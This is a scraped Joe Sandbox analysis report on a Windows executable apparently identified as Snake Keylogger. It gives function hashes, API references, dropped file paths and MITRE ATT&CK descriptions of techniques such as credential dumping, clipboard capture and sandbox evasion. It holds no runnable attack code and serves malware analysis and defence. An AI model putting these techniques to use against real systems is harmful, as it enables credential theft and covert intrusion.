Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c1b3bbb7fb5d360c352e29dce0ca82793dba8b39a20caf6091836a7e5acd446
Instruction ID: 5ff8dc76d646c522b35349404ae71f3a07db7e5a5a41cf42f501ef55767b32d6
Opcode Fuzzy Hash: 7c1b3bbb7fb5d360c352e29dce0ca82793dba8b39a20caf6091836a7e5acd446
Instruction Fuzzy Hash: DD913470E04229CBEF28CF98C8547ADBBB1FF44305F15816AD852BB291C7789996DF44

Function 0040688B Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06a588dc36723823e64c1d76eb6b79df0e0f5c7b74692a20a357622d355e40c3
Instruction ID: bb31d40f455f6cff8f0b7d4569728449f81f985eb729d97d8cba9c35205a948c
Opcode Fuzzy Hash: 06a588dc36723823e64c1d76eb6b79df0e0f5c7b74692a20a357622d355e40c3
Instruction Fuzzy Hash: A6814471E04228CBDF24CFA8C844BADBBB1FF44305F25816AD456BB281C7789996DF44

Function 00406390 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72aa8ec3dd0942b5b71c471d9b9626f4b4465e3dfbf4f8c787812f56ef585442
Instruction ID: e59bb743c0d69fedc8ec9c1b53f92d0ee49f9853fc7f4c6d73f4ee5c7875ed1f
Opcode Fuzzy Hash: 72aa8ec3dd0942b5b71c471d9b9626f4b4465e3dfbf4f8c787812f56ef585442
Instruction Fuzzy Hash: FE816671E04228DBDF24CFA8C8447ADBBB0FF44305F15816AD856BB281C7786996DF44

Function 004067DE Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d7d6eeb6ae866c31b6fd6fb1bb683d5497ea3b6253a7880f6caf84b5ad72384
Instruction ID: 9556348457f1f5f1301c48e47fc8538a45dff02eab8277f34011f15b85b09a92
Opcode Fuzzy Hash: 1d7d6eeb6ae866c31b6fd6fb1bb683d5497ea3b6253a7880f6caf84b5ad72384
Instruction Fuzzy Hash: 43711271E00228DBDF28CF98C854BADBBB1FF48305F15806AD816BB281C7789996DF54

Function 004068FC Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55af2c983f537d9a3a53cfac4a449f3e0c8fe7d310f5448a54a9ff87f60f3244
Instruction ID: ef61438920200bd82941886013112b5956151ce3a95704f571d29bdd470ffe0d
Opcode Fuzzy Hash: 55af2c983f537d9a3a53cfac4a449f3e0c8fe7d310f5448a54a9ff87f60f3244
Instruction Fuzzy Hash: FF713571E00228DBDF28CF98C854BADBBB1FF44305F15806AD856BB291C7789996DF44

Function 00406848 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 720b16b0405195766e324cd34a7adf45238a3bda3f5e9f89198b3f7d2eee93b7
Instruction ID: 0528ad5c4640a45b82c18dce6d1929194436f5f2edf35a138e23b2c729619556
Opcode Fuzzy Hash: 720b16b0405195766e324cd34a7adf45238a3bda3f5e9f89198b3f7d2eee93b7
Instruction Fuzzy Hash: AD714671E00228DBDF28CF98C854BADBBB1FF44305F15806AD816BB291C778AA56DF44

Function 00405ABB Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405ACB
lstrcmpiA.KERNEL32(00405CF5,00000000), ref: 00405AE3
CharNextA.USER32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AF4
lstrlenA.KERNEL32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFD

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction ID: dad0a046b028959ebe33103b56e1cab2fddac0818810981e259aca52f0e6fc56
Opcode Fuzzy Hash: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction Fuzzy Hash: 59F06232608558BFC712DFA5DD40D9FBBA8DF06260B2540B6F801F7251D674FE019BA9

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PayeeAdvice_HK54912_R0038704_37504.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsh2473.tmp\System.dll

C:\Users\user\AppData\Local\Temp\nsw22AD.tmp

C:\Users\user\AppData\Local\foreslaaende\Kedlernes.vid

C:\Users\user\AppData\Local\foreslaaende\Kontaktformidlingens.unm

C:\Users\user\AppData\Local\foreslaaende\Necrotize.txt

C:\Users\user\AppData\Local\foreslaaende\Pockily.sam

C:\Users\user\AppData\Local\foreslaaende\ensisternum.myx

C:\Users\user\AppData\Local\foreslaaende\mntende.spi

C:\Users\user\AppData\Local\foreslaaende\spelts.tru

Static File Info

General

File Icon

Windows Analysis Report
PayeeAdvice_HK54912_R0038704_37504.exe

Function 0040335A Relevance: 75.6, APIs: 27, Strings: 16, Instructions: 335
stringfilecomCOMMON

Function 00404B10 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00405F0C Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Function 00405772 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 004038B4 Relevance: 49.2, APIs: 15, Strings: 13, Instructions: 216
stringregistrylibraryCOMMON

Function 00403C57 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Function 00402DBC Relevance: 28.2, APIs: 5, Strings: 11, Instructions: 203
memoryCOMMON

Function 00401752 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 0040317D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 108
fileCOMMON

Function 00403062 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 95
fileCOMMON

Function 00402331 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Function 004015B9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Function 10001771 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 00405DB7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45
registryCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre